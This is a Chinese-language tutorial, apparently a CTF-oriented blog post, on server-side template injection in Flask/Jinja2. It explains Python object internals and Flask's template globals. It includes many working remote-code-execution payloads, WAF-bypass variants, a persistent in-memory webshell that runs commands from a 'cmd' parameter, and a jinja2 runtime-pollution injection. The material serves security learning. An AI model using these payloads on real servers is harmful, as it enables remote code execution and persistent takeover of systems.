Flask/Jinja2 SSTI从入门到放弃
本文主要面向初学者,系统性地介绍了Python部分语言特性、Flask基本机制、Jinja2模板引擎特性、Payload的各种构造思路等,期望解决当前简中互联网上关于Python Web安全系统性资料的缺失,希望能帮助更多初学者。
前言
这是我整理的《基于Python与JavaScript的现代Web安全基础研究》的第一部分,如果有能力和精力的话也许后面会有更多。
本文章最初发布于我的博客https://lamaper.github.io/,在这里做系统整理。
长期以来,Web 安全领地一直被 Java Spring 生态和 PHP 传统架构所占据。然而,随着开发范式的演进与异步 IO 技术的爆发,Python 与 JavaScript 正在以惊人的速度重塑 Web 开发的版图。如今,它们已成为当今 Web 领域的新星:一个深耕 AI 与后端逻辑,一个统治前端并向全栈扩张。这种生态位移催生了层出不穷的新型安全挑战。
这种变革在 CTF 赛场上体现得尤为明显。Web 题目的重心正在发生悄然转移,从以往 PHP 的代码审计量大管够、Java 的反序列化深度内卷,转向了如今以 Python (Flask/FastAPI)和 JavaScript (Node.js)为半壁江山的多语言博弈。在赛场上,我们经常能看到由几个精简文件构成的动态语言题目,逐渐取代了传统 PHP 基础题的生态为了;而 PHP 题目则更多地以大型真实项目、CMS 审计的形式出现。
遗憾的是,尽管实战需求与竞赛趋势日益凸显,中文社区内关于 Python 与 JS 的安全研究资料却依然显得琐碎且零散,缺乏像 Java 安全那样系统化的学习路径与深度的方法论总结。
本文的初衷,正是希望通过对这些现代动态语言安全漏洞底层原理的深度复盘,构建起一条清晰、成体系的学习路线。这不仅是对我个人知识体系的凝练与固实,更希望能为每一位想要深入探索脚本语言安全深度的同行者,提供一份系统性的导航。
SSTI
在Python中,SSTI经常与jinja2、Django、Mako、Tornado等模版引擎结合,其核心思想是利用模板引擎的核心机制和应用程序将不安全输入传递给模板的方式构造合适的payload以获取风险函数,如popen、system、eval等。
Flask是一个使用Python编写的轻量级Web应用框架,被称为“微框架”。它的核心简单且可扩展,通过扩展可以增加其他功能。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。其中Werkzeug 是一个 WSGI 工具包,用于处理 HTTP 请求和响应。Jinja2 是一个灵活的模板引擎,用于生成动态 HTML 页面。本文的SSTI均以Flask(Jinja2)为例
Python的模版引擎大多采用相同的语法结构,{% ... %} 和 {{ ... }} 。前者用于执行诸如 for 循环或赋值的语句,后者把表达式的结果打印到模板上。
在本地编写一个含有SSTI漏洞的测试环境:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world():
person = 'lmpr'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()并命名为app.py,在当前地址启动服务:
python -m flask run在http://localhost:5000中可以看到页面,当前显示:
Hi, lmpr.如果对name传入参数,服务器会给出新的渲染结果,一个测试可以知道这里有没有模版注入漏洞,如果我们请求:
http://localhost:5000?name={{2*2}}如果返回:
Hi, 4.说明传入的内容被当做模版引擎语言进行解析和运算,这就意味着这里可能存在SSTI。
需要注意的是,jinja2原生屏蔽符号+,测试时不要使用{{1+1}}等语句。
Flask 框架概述
全局对象
在./flask/app.py中的class Flask(App)中,定义了create_jinja_environment:
def create_jinja_environment(self) -> Environment:
"""Create the Jinja environment based on :attr:`jinja_options`
and the various Jinja-related methods of the app. Changing
:attr:`jinja_options` after this will have no effect. Also adds
Flask-related globals and filters to the environment.
.. versionchanged:: 0.11
``Environment.auto_reload`` set in accordance with
``TEMPLATES_AUTO_RELOAD`` configuration option.
.. versionadded:: 0.5
"""
options = dict(self.jinja_options)
if "autoescape" not in options:
options["autoescape"] = self.select_jinja_autoescape
if "auto_reload" not in options:
auto_reload = self.config["TEMPLATES_AUTO_RELOAD"]
if auto_reload is None:
auto_reload = self.debug
options["auto_reload"] = auto_reload
rv = self.jinja_environment(self, **options)
rv.globals.update(
url_for=self.url_for,
get_flashed_messages=get_flashed_messages,
config=self.config,
# request, session and g are normally added with the
# context processor for efficiency reasons but for imported
# templates we also want the proxies in there.
request=request,
session=session,
g=g,
)
rv.policies["json.dumps_function"] = self.json.dumps
return rv
rv = self.jinja_environment(self, **options)返回了一个Jinja2的<class 'Environment'>的对象。这个类在./jinja2/environment.py中被定义,我们接着往下看,发现rv.globals,这是对象的属性,通过类型推断我们可以知道这是一个字典,在<class 'Environment'>的__init__函数中,可以看到:
self.globals = DEFAULT_NAMESPACE.copy()
其中DEFAULT_NAMESPACE来自于./jinja2/defaults.py,在这里可以发现jinja2内置的全局对象:
# default filters, tests and namespace
DEFAULT_NAMESPACE = {
"range": range,
"dict": dict,
"lipsum": generate_lorem_ipsum,
"cycler": Cycler,
"joiner": Joiner,
"namespace": Namespace,
}
出现了非常常用的函数lipsum。接着往下看update的内置,这就是Flask框架自己新引入的默认命名空间中的全局对象。
def from_string(
self,
source: t.Union[str, nodes.Template],
globals: t.Optional[t.MutableMapping[str, t.Any]] = None,
template_class: t.Optional[t.Type["Template"]] = None,
) -> "Template":
"""Load a template from a source string without using
:attr:`loader`.
:param source: Jinja source to compile into a template.
:param globals: Extend the environment :attr:`globals` with
these extra variables available for all renders of this
template. If the template has already been loaded and
cached, its globals are updated with any new items.
:param template_class: Return an instance of this
:class:`Template` class.
"""
gs = self.make_globals(globals)
cls = template_class or self.template_class
return cls.from_code(self, self.compile(source), gs, None)
所以当我们编写一个十分简单的具有SSTI漏洞的Flask程序时:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world(): # put application's code here
person = 'lmpr'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if __name__ == '__main__':
app.run()
print("=== Flask 暴露的全局变量 ===")
for key in app.jinja_env.globals.keys():
print(f"{key}: {type(app.jinja_env.globals[key])}")
可以得到控制台输出:
#From jinja2
range: <class 'type'>
dict: <class 'type'>
lipsum: <class 'function'>
cycler: <class 'type'>
joiner: <class 'type'>
namespace: <class 'type'>
#From Flask
url_for: <class 'method'>
get_flashed_messages: <class 'function'>
config: <class 'flask.config.Config'>
request: <class 'werkzeug.local.LocalProxy'>
session: <class 'werkzeug.local.LocalProxy'>
g: <class 'werkzeug.local.LocalProxy'>
这就是Flask中暴露的全局对象。十分特殊的就是lipsum、url_for、get_flashed_messages,这三个对象都是函数对象。准确来说,python中区分function和method的方法是看这个函数是否是某个类的内置函数,python认为类的内置函数为method。这并不影响我们利用函数的默认魔术属性__globals__以获取程序中的全局对象。
十分特别、与我们平常习惯不同地,range是类而不是函数,这点需要注意。
g、session、request
先来看看三个比较特殊的对象g、session、request,在./flask/globals.py中有它们的定义:
g: _AppCtxGlobals = LocalProxy( # type: ignore[assignment]
_cv_app, "g", unbound_message=_no_app_msg
)
request: Request = LocalProxy( # type: ignore[assignment]
_cv_request, "request", unbound_message=_no_req_msg
)
session: SessionMixin = LocalProxy( # type: ignore[assignment]
_cv_request, "session", unbound_message=_no_req_msg
)
这段代码是Flask框架中实现请求上下文(request context)和线程局部变量(thread-local)的关键部分。LocalProxy是Werkzeug库中的一个类,用于创建代理对象。代理对象会转发所有操作到目标对象。但是,LocalProxy的特殊之处在于它不会在创建时固定代理哪个对象,而是每次都会从当前线程的局部存储或类似的上下文中获取目标对象。_cv_request是一个上下文变量,它存储了当前请求的上下文信息。在Flask中,每个请求都有独立的上下文,因此_cv_request会保存当前请求的Request对象。具体来说:
session: SessionMixin = LocalProxy(...)
这段代码表明了session(变量名)的类型是SessionMixin,但是实例化的时候被当做LocalProxy进行实例化。这是一个没有“继承”的面向对象多态特性。但这并不妨碍session具备SessionMixin的属性。
在./flask/sessions.py中可以看见session的定义:
class SessionMixin(MutableMapping[str, t.Any]):
"""Expands a basic dictionary with session attributes."""
MutableMapping[str, t.Any]是一个类型注解它表示一个可变的映射,其中键(key)的类型是字符串类型(str),而值(value)的类型可以是任意类型(t.Any)。
在python的lib中我们可以看到MutableMapping的实现,它包含了几个新的方法:pop、popitem、clear、update。也就是说我们可以通过session.update()为session添加键值对。
按照同样的方法我们可以知道request是./werkzeug/sansio/request.py中Request类的子类的实例。g是./flask/ctx.py中_AppCtxGlobals类的实例。
在Python中,每个函数/方法都具有__globals__魔术属性,它介绍了函数的全局空间。这个全局空间的范围是当前模块(也就是一个xxx.py文件)中所有的类、变量、函数。一个例子:
# module.py
MODULE_VAR = "模块变量"
class ClassA:
CLASS_VAR = "A类的变量"
def method_a(self):
return "A的方法"
class ClassB:
def method_b(self):
# 查看 __globals__
globals_dict = method_b.__globals__
print("ClassB.method_b 的 __globals__ 键:")
for key in sorted(globals_dict.keys()):
if not key.startswith('__'): # 过滤内置变量
print(f" {key}")
obj_b = ClassB()
obj_b.method_b()
它的输出是:
ClassB.method_b 的 __globals__ 键:
MODULE_VAR
ClassA
ClassB
这非常明显地给出了我们构造payload的方法,就是找到一个类/函数,其所在的模块中直接或者间接的引入的某些可以被利用的模块或函数,如os模块。除此之外需要注意的是,有装饰器的函数确实在访问 __globals__时会遇到问题。这是因为装饰器改变了函数的身份和属性访问方式。Python中装饰器的原理是:
def my_decorator(func):
def wrapper(*args, **kwargs):
return func(*args, **kwargs)
return wrapper
@my_decorator
def my_function():
return "hello"
# 实际上相当于:
# my_function = my_decorator(my_function)
对于有装饰器的函数,多数情况下无法获取其globals属性。
config
config的定义在./flask/sansio/app.py中,当调用App的__init__()方法时,会调用同一个类中make_config()方法,该方法返回一个Config类型对象。在./flask/config.py中可以看到它的定义:
class Config(dict): # type: ignore[type-arg]
和上面所说不同地,Config直接继承自dict这一Python内置数据类型,说明Config本身就是一个增强版dict。同时有一个令人惊喜的发现,在这个模块中,显式地引入了os模块,并且类内方法没有被装饰器修饰,所以我们可以使用下列方法去获取Popen函数:
{{config.__init__.__globals__}}
{{config.from_envvar.__globals__}}
{{config.from_prefixed_env.__globals__}}
{{config.from_pyfile.__globals__}}
{{config.from_file.__globals__}}
{{config.from_mapping.__globals__}}
{{config.get_namespace.__globals__}}Cycler、joiner、Namespace
这三个类的定义都在./jinja2/utils.py,显而易见地全局引入了os模块,所以可以用常规方式获取popen函数,这里不再赘述。
range、dict
这两个类直接来自于Python builtins模块,所以利用链比较常规
Python语言特性
Python认为万物皆为对象,这就为我们构造payload以利用SSTI提供了条件。Python是典型的面向对象语言,面向对象的特性就是封装、多态、继承。在构造payload中我们常用封装与继承。
Python认为所有类都有一个顶层基类<class 'Object'>,或者说所有类都直接或间接地是Object的子类。
每一个对象都有自己的“属性”,也就是变量。类实例化后的对象还有“方法”,也就是类中的函数。我们知道可以通过Obj.func()的方法来调用函数,Obj.var的方式来调用属性。
在Python中,每个类都有自己的内置属性,或者“魔术属性”,部分类有内置的“魔术方法”,他们不需要被显式的声明,在被实例化的时候就已经存在。
在 Python SSTI攻击与防御中,理解魔术属性和魔术方法至关重要。这些特殊成员是攻击者利用对象链进行沙箱逃逸的核心工具,也是防御者需要重点监控和限制的关键点。
常用的魔术属性
属性 | 作用 | SSTI 风险 | 示例 |
| 获取对象的类 | 一般的类对象攻击链起点,获取类对象 |
|
| 获取类的基类元组 | 访问继承树 |
|
| 获取第一个基类 | 快速访问基类 |
|
| 方法解析顺序(继承链) | 遍历继承关系 |
|
| 获取类的直接子类列表 | 极高危,访问所有加载的类 |
|
| 方法解析顺序(继承链) | 遍历继承关系 |
|
| 获取函数所在模块的全局变量字典 | 极高危,访问模块全局变量 |
|
| 获取函数的闭包变量 | 访问外层作用域变量 |
|
| 获取函数的字节码对象 | 泄露代码信息 |
|
| 内置函数和异常的集合 | 极高危,访问危险函数 |
|
| 获取模块所属包名 | 泄露包结构信息 |
|
| 获取模块规范对象 | 泄露模块信息 |
|
| 获取类/函数/模块名 | 识别关键对象 |
|
| 获取限定名称 | 识别嵌套对象 |
|
| 获取定义模块名 | 定位模块来源 |
|
| 获取文档字符串 | 泄露实现细节 |
|
其中我们最常用的就是__globals__和__import__。
__globals__实际是函数闭包机制的副产品。在Python编译函数时,会将函数所需的外部变量引用存储在__globals__中。它存在的意义是当函数访问非局部变量时,Python 需要知道去哪里查找,一个典型的__globals__可以形如:
{
# === 系统自动添加 ===
'__name__': 'my_module',
'__doc__': None,
'__package__': '',
'__loader__': <_frozen_importlib_external.SourceFileLoader>,
'__spec__': ModuleSpec(...),
'__file__': '/project/my_module.py',
'__cached__': '/project/__pycache__/my_module.cpython-38.pyc',
'__builtins__': <module 'builtins'>,
# === 用户显式导入 ===
'os': <module 'os' from '/usr/lib/python3.8/os.py'>,
'sys': <module 'sys' (built-in)>,
'flask': <module 'flask' from '...'>,
# === 用户定义内容 ===
'APP_CONFIG': {'SECRET_KEY': '114514'},
'db_connection': <Connection object>,
'logger': <Logger my_module (WARNING)>,
# === 函数和类 ===
'my_function': <function my_function at 0x7f8e1c2b5ca0>,
'HelperClass': <class 'my_module.HelperClass'>
}常用的魔术方法
方法 | 调用时机 | SSTI 风险 |
| 创建新实例时 | 控制对象创建过程 |
| 对象初始化时 | 访问初始化上下文 |
| 对象销毁时 | 潜在后门入口 |
| 所有属性访问时 | 属性访问总入口 |
| 属性不存在时 | 动态属性处理 |
| 设置属性时 | 修改对象状态 |
|
| 泄露可用属性 |
| 对象被调用时 | 使任意对象可调用 |
| 获取函数对象 | 访问底层函数 |
| 访问闭包变量 | 获取外层变量 |
| 进入上下文时 | 返回有风险的对象 |
| 退出上下文时 | 清理操作可能被利用 |
| 动态导入模块 | 极高危,RCE核心 |
| 序列化对象时 | 构造恶意序列化 |
| 序列化控制 | 篡改序列化状态 |
常用全局对象
一些常见的,可在全局被调用的函数和对象可能成为我们构造payload的起点:
函数 | 来源 | 利用方式 |
| Jinja2 | 经典跳板函数 |
| Python内置 | 生成序列用于遍历 |
| Python内置 | 创建字典对象 |
| Jinja2 | 循环生成器 |
| Jinja2 | 字符串连接器 |
| Jinja2 | 创建命名空间 |
| Flask | 高危跳板函数 |
| Flask | 类似跳板 |
| Flask | 极高危,直接访问配置 |
| Flask | 请求对象,泄露请求信息 |
| Flask | 会话对象,读取/篡改会话 |
| Flask | 访问上下文 |
| Flask | 应用实例,高危,访问应用核心 |
Payload构造
首先要选取一个可以获取的全局对象,我们以lipsum、config、" "分别为例。
由lipsum构造Payload
对于lipsum,当我们在注入点输入{{lipsum}}时可以得到回显:
Hi, <function generate_lorem_ipsum at 0x7f91fe6951c0>.
这代表我们利用的是一个全局的函数对象。那么对于函数对象就可以直接使用__globals__这个魔术属性获取全局上下文,我们编写{{lipsum.__globals__}}得到回显:
Hi, {'__name__': 'jinja2.utils', '__doc__': None, '__package__': 'jinja2', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f91fe676840>, '__spec__': ModuleSpec(name='jinja2.utils', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f91fe676840>, origin='/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/utils.py'), '__file__': '/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/utils.py', '__cached__': '/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/__pycache__/utils.cpython-312.pyc', '__builtins__': {'__name__': 'builtins', '__doc__':
...
function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice
...
, file "/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/runtime.py", line 852>, <code object compile at 0x7f91fe6481f0, file "/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/environment.py", line 731>}, 'concat': <built-in method join of str object at 0xb3c770>, 'pass_context': <function pass_context at 0x7f91fe6947c0>, 'pass_eval_context': <function pass_eval_context at 0x7f91fe6949a0>, 'pass_environment': <function pass_environment at 0x7f91fe694a40>, '_PassArg': <enum '_PassArg'>, 'internalcode': <f
...
许多Web框架会隐式导入os模块,用于处理文件路径、环境变量等,在一般情况下如果我们能在global中发现:
'os': <module 'os' (frozen)>
就说明我们可以利用os模块,紧接着我们就可以调用os模块,因为这个魔术属性__globals__是字典,所以我们可以{{lipsum.__globals__['os']}}或者{{lipsum.__globals__.__getitem__('os')}}:
Hi, <module 'os' (frozen)>.
我们可以通过{{lipsum.__globals__['os'].__dir__()}}查看可用属性:
Hi, ['__name__', '__doc__', '
...
awnvpe', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'popen', '_wrap_close', 'fdopen', '_fspath', 'PathLike'].
我们发现了风险函数popen,于是就有了经典的payload:
{{lipsum.__globals__['os'].popen('whoami').read()}}
注意这里需要.read()来保证回显。
类似地,我们还可以用全局函数url_for来构造相同的payload:
{{url_for.__globals__.os.popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}由config构造Payload
对于config,当我们在注入点输入{{config}}时可以得到回显为一长串字符,这根前面的情况都不一样。这是因为config是一个类对象,调用其本身会自动触发to String方法,因此我们可以通过__class__返回它的类,{{config.__class__}}:
Hi, <class 'flask.ctx._AppCtxGlobals'>.
我们依然希望仿照上面的方法,去获取一个函数的__globals__属性从而得到风险函数,因此我们希望获取一个类中的函数。
一般来说,类有许多自带的魔术方法可以利用,比如={{config.__class__.__init__}}就会返回:
Hi, <function Config.__init__ at 0x7f91fe6304a0>.
这样我们就有了和上面一样的思路,因此我们构造有payload:
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
然而很多时候事实并非都如我们所愿,如果我们举一反三,尝试使用其他魔术方法比如__str__,构造一个payload{{config.__class__.__str__}},我们会发现有回显:
Hi, <slot wrapper '__str__' of 'object' objects>.
这和我们使用init时有显著差异,当我们继续换一个魔术方法__call__时,{{config.__class__.__call__}}又会有:
Hi, <method-wrapper '__call__' of type object at 0x1b137e10>.
如果我们继续在此基础上尝试获取globals属性,结果会发现没有回显。
同样的问题还会出现在其他对象上,根据前一节的研究,还有很多暴露的全局对象,比如g,当我们试图调用g的init时也会有上述问题。而这是因为,在Python中,带有"wrapper"字样的函数通常是装饰器(decorator)生成的包装函数。这些包装函数在创建时,其__globals__属性通常指向的是装饰器所在模块的全局字典,而不是原始函数所在模块的全局字典,即使包装函数有自己的__globals__,它可能并不包含我们期望的模块(比如os),因为装饰器可能定义在一个与原始函数不同的模块中。
类型 | 描述 | 示例 |
| 内置类型的 C 实现方法 |
|
| 特殊方法的包装器 |
|
| 内置函数/方法 |
|
| 描述符协议包装器 |
|
除此之外,一些不需要被用户重写的Python内置方法,比如__dir__会存在访问受限,因而也不可获取__globals__。因而在SSTI攻击中,我们通常会避免使用这些包装函数,而是寻找一个普通的、非内置的、非包装的函数来获取__globals__。
__builtins__的利用
在Python中,__builtins__是一个特殊的模块或字典,它包含了内置的函数、异常和类型。在全局作用域中,__builtins__通常是对内置命名空间的引用。在大多数Python环境中,__builtins__是 builtins模块(Python 3)或 __builtin__模块(Python 2)的引用。
例如我们希望利用全局类对象request来获取风险函数,很流畅地进入了{{request.__class__.__init__.__globals__}},然而我们发现其globals中并不存在os模块。于是我们考虑换一种方式来导入os模块。我们可以发现在globals中的builtins中含有另一个风险函数eval,我们可以利用eval执行风险python语句从而间接导入os模块,于是就有payload:
{{request.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}一般化Payload构造
如果上述的情况都无法使用,我们只好考虑用唯一能获取的对象来曲线救国。我们知道Python的基本数据类型也会有相应的对象,类似地,我们可以有如下方法获得<class 'Object'>:
{{0.__class__.__base__}}
{{''.__class__.__bases[0]__}}
{{"".__class__.__mro[0]__}}
{{g.__class__.__base__}}
接着我们会用到一个特殊的魔术方法以返回Object的所有子类:
{{"".__class__.__bases__[0].__subclasses__()}}
需要注意的是,这个方法返回的是数组而不是字典,这意味着我们无法通过键值对的方式访问对应的类,只能通过数字索引的方式来获取对应的类。这就是SSTI中最传统的方式,由于每个服务器上Python环境都不同,所以含有风险函数的类的索引也不同,因此我们不能盲目的使用以前的payload。下面给出了一个能够获取数字索引的payload:
{% set classes = range.__class__.__base__.__subclasses__() %}
{% for class in classes %}
{{ loop.index0 }}: {{ class.__name__ }} ({{ class.__module__ }})
{% endfor %}
利用这个payload我们能获取到一些类。
接下来就是获取该类的方法,然后获取该方法的globals属性,观察有无os或者builtins,这是一项浩瀚的工程,可以借助脚本,也可以记住一些常见的能获取到风险函数的类。
例如在我本地执行上述payload后:
Hi, 0: type (builtins)1: async_generator (builtins)2: bytearray_iterator (builtins)
...
532: StreamWrapper (colorama.ansitowin32)533: AnsiToWin32 (colorama.ansitowin32)534: CompletedProcess (subprocess)535: Popen (subprocess).
我发现535是Popen,这个类的名字带有强烈的暗示性,所以我选择这个索引并查看它的init方法:
Hi, <function Popen.__init__ at 0x7f91fe4528e0>.
说明它存在globals属性,于是读取globals属性,最终发现os模块,因而有payload:
{{range.__class__.__base__.__subclasses__()[535].__init__.__globals__.os.popen("whoami").read()}}
一般来说,在绝大多数环境下,这些类经常被使用:
os._wrap_close
warnings.WarningMessage
_frozen_importlib.BuiltinImporter
subprocess.Popen
ctypes.CDLL
codecs.StreamReaderWriter讲到此处我们可以触类旁通地发现,SSTI不只有一种方法去执行,如果我们获取的类本身就足够有特点,那么也不必拘泥于常规。
特殊化Payload构造
以刚刚用过的subprocess.Popen为例,我们可以直接使用这个类创建一个对象,并只需要使用这个类即可:
{{''.__class__.__bases__[0].__subclasses__()[535]('ls', shell=True, stdout=-1).communicate()[0]}}
这样我们就绕过了使用__globals__,直接利用类特性就实现了RCE。
此外,我还发现在CDLL中存在引入libc直接执行命令的方式:
{{range.__class__.__base__.__subclasses__()[526](%27libc.so.6%27).system(%27whoami%27)}}
然而这种方式似乎因为权限问题或者环境变量问题无法正常使用,需要等待后续研究。
内存马
内存马是一种木马,在含有SSTI的地方选择如下payload可以打上内存马。通常用于网页无回显但可以判定为存在SSTI的时候。
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}对于这段payload可以拆开解析:
{{
url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(\n"
" lambda resp: \n"
" CmdResp if request.args.get('cmd') \n"
" and exec(\n"
" \"global CmdResp; CmdResp = __import__('flask').make_response(\"\n"
" \"__import__('os').popen(request.args.get('cmd')).read())\"\n"
" ) == None \n"
" else resp\n"
")",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)
}}详情可见:
https://mixbp.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC/
https://xz.aliyun.com/news/13858
https://xz.aliyun.com/news/10381
WAF绕过
真实环境或者题目环境下会存在许多输入限制,防止你注入,有很多师傅在禁止输入和反禁止输入上有了很多奇技淫巧,叹为观止。前人之述备矣,我的研究也不是很充分,下面是一些比较完善的WAF绕过方法:
https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/
https://xz.aliyun.com/news/7341
''|attr("__class__")等效于''.__class__,要使用xxx.os('xxx')类似的方法,可以使用xxx|attr("os")('xxx')。即.等价于|attr()
使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
可以得到lipsum|attr("__globals__")
{{lipsum.__globals__['os']['popen']('ls').read()}}{% print %} 能在 Flask 模板中输出内容,本质是利用了 Jinja2 允许在 {% %} 标签中执行 Python 表达式的特性,通过调用 Python 内置的 print 函数将内容输出到渲染结果中。
{{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls").read()}}{{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['builtins']['eval']("__import__.('os').popen('ls').read()")}}{{url_for.__globals__.os.popen('ls').read()}}{%print(lipsum|attr("_"+"_glo"+"bals_"+"_")|attr("_"+"_getitem_"+"_")("os")|attr("popen")("cat ../f*")|attr("read")())%}- request方法绕过:
request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)payload参考https://www.nssctf.cn/note/set/14423
全局变量污染
在https://tttang.com/archive/1876一文中,Article_kelp师傅指出:
在flask中如使用render_template渲染一个模板实际上经历了多个阶段的处理,其中一个阶段是对模板中的Jinja语法进行解析转化为AST,而在语法树的根部即Lib/site-packages/jinja2/compiler.py中CodeGenerator类的visit_Template方法纯在一段有趣的逻辑

在这篇文章中,师傅认为可以通过原型链污染exported和async_exported来进行恶意语句拼接。
本文基于此产生了另外的想法:
首先我们在Object的子类中就可以找到JInja2.runtime的子类:
506: TemplateReference (jinja2.runtime)
507: Context (jinja2.runtime)
508: BlockReference (jinja2.runtime)
509: LoopContext (jinja2.runtime)
510: Macro (jinja2.runtime)
511: Undefined (jinja2.runtime)我们通过SSTI任取其中一个类,找到其中一个没有修饰器的普通方法获取其__globals__属性,就可以得到全局:
{{range.__class__.__base__.__subclasses__()[507].keys.__globals__}}
...
'V': ~V, 'F': ~F, 'exported': ['LoopContext', 'TemplateReference', 'Macro', 'Markup', 'TemplateRuntimeError', 'missing', 'escape', 'markup_join', 'str_join', 'identity', 'TemplateNotFound', 'Namespace', 'Undefined', 'internalcode', '*;print(114514);from jinja2.runtime import new_context'], 'async_exported': ['AsyncLoopContext', 'auto_aiter', 'auto_await'],
...那么回到源码中,在./jinja2/runtime.py中可以看到:
# these variables are exported to the template runtime
exported = [
"LoopContext",
"TemplateReference",
"Macro",
"Markup",
"TemplateRuntimeError",
"missing",
"escape",
"markup_join",
"str_join",
"identity",
"TemplateNotFound",
"Namespace",
"Undefined",
"internalcode",
]
async_exported = [
"AsyncLoopContext",
"auto_aiter",
"auto_await",
]这是一个十分朴素的数组,没有任何特殊的功能,意味着我们可以通过更加朴素的方法去往里面追加东西。
构造payload尝试:
{{range.__class__.__base__.__subclasses__()[507].keys.__globals__.exported.append('*;')}}
查看控制台:
* Serving Flask app 'app'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:5000
Press CTRL+C to quit
127.0.0.1 - - [04/Nov/2025 11:11:49] "GET /?name={{range.__class__.__base__.__subclasses__()[507].keys.__globals__.exported.append('*;')}} HTTP/1.1" 200 -
[2025-11-04 11:11:52,017] ERROR in app: Exception on / [GET]
Traceback (most recent call last):
File "E:\ProgramFile\Python\Python312\Lib\site-packages\flask\app.py", line 1511, in wsgi_app
response = self.full_dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\flask\app.py", line 919, in full_dispatch_request
rv = self.handle_user_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\flask\app.py", line 917, in full_dispatch_request
rv = self.dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\flask\app.py", line 902, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ctfTools\CtfLab\PyTrojan\app.py", line 12, in hello_world
return render_template_string(template)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\flask\templating.py", line 161, in render_template_string
template = app.jinja_env.from_string(source)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\jinja2\environment.py", line 1111, in from_string
return cls.from_code(self, self.compile(source), gs, None)
^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\jinja2\environment.py", line 769, in compile
return self._compile(source, filename)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "E:\ProgramFile\Python\Python312\Lib\site-packages\jinja2\environment.py", line 709, in _compile
return compile(source, filename, "exec")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<template>", line 1
from jinja2.runtime import *;, LoopContext, Macro, Markup, Namespace, TemplateNotFound, TemplateReference, TemplateRuntimeError, Undefined, escape, identity, internalcode, markup_join, missing, str_join
^
SyntaxError: invalid syntax
127.0.0.1 - - [04/Nov/2025 11:11:52] "GET /?name={{range.__class__.__base__.__subclasses__()[507].keys.__globals__.exported.append('*;')}} HTTP/1.1" 500 -我们得到了想要的结果:
File "<template>", line 1
from jinja2.runtime import *;, LoopContext, Macro, Markup, Namespace, TemplateNotFound, TemplateReference, TemplateRuntimeError, Undefined, escape, identity, internalcode, markup_join, missing, str_join
很显然这里存在这动态渲染拼接,所以接下来尝试构造:
{{range.__class__.__base__.__subclasses__()[507].keys.__globals__.exported.append('*;print(114514);from jinja2.runtime import new_context')}}
